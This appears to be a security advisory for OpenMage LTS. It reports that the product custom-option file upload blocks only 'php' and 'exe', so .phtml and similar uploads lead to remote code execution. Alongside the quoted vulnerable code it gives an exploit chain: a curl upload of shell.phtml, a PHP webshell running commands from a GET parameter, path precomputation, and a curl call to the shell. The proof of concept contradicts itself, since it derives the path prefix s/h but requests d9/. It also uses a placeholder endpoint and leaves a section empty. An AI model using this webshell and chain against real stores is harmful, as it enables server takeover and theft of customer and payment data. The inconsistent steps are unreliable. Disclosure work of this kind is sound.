OpenMage LTS: Customer File Upload Extension Blocklist Bypass → Remote Code Execution

The product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbidden_extensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/custom_options/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.

Affected Version

• Project: OpenMage/magento-lts
• Vulnerable File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php
• Vulnerable Lines: 230-237 (_validateUploadedFile())
• Configuration: app/code/core/Mage/Catalog/etc/config.xml:824

Root Cause

The file upload handler uses Zend_File_Transfer_Adapter_Http directly with ExcludeExtension validator, referencing only:

<!-- Catalog/etc/config.xml:824 -->
<forbidden_extensions>php,exe</forbidden_extensions>

This misses the comprehensive protected_extensions blocklist defined elsewhere:

<!-- Core/etc/config.xml:449-478 -->
php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, 
htm, html, pht, phtml, shtml

Vulnerable Code

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
    $upload->addValidator('Extension', false, $_allowed);
} else {
    $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
    if ($_forbidden !== null) {
        $upload->addValidator('ExcludeExtension', false, $_forbidden);  // Only blocks php,exe!
    }
}

Steps to Reproduce

1. Environment Setup

Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)

2. Exploitation

# Upload .phtml (bypasses blocklist)
curl -X POST "https://target.com/vulnerable_upload.php" \
  -F "file=@shell.phtml;filename=shell.phtml"

Result: <img width="1563" height="733" alt="image" src="https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691" />

3. Code Execution

OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls:

Subdirectory — getDispretionPath($filename) takes the first two characters of the uploaded filename and uses them as nested directory names:

filename = "shell.phtml"  →  s/ h/  →  media/custom_options/quote/s/h/

Filename — md5(file_get_contents($tmp_name)) is computed over the raw bytes of the uploaded payload (File.php:245):

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245
$fileHash = md5(file_get_contents($fileInfo['tmp_name']));
$filePath  = $dispersion . DS . $fileHash . '.' . $extension;

Because the attacker writes the webshell themselves, both the filename prefix and file contents are known before the upload request is sent. The full URL can be pre-computed:

SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h

```bash
curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"

Result: RCE Confirmed

Affected Deployments

Impact

1. Remote Code Execution: Full server compromise through webshell upload
2. Data Exfiltration: Access to database credentials, customer PII, payment data
3. Lateral Movement: Pivot to internal infrastructure
4. Supply Chain: Inject malicious code into served content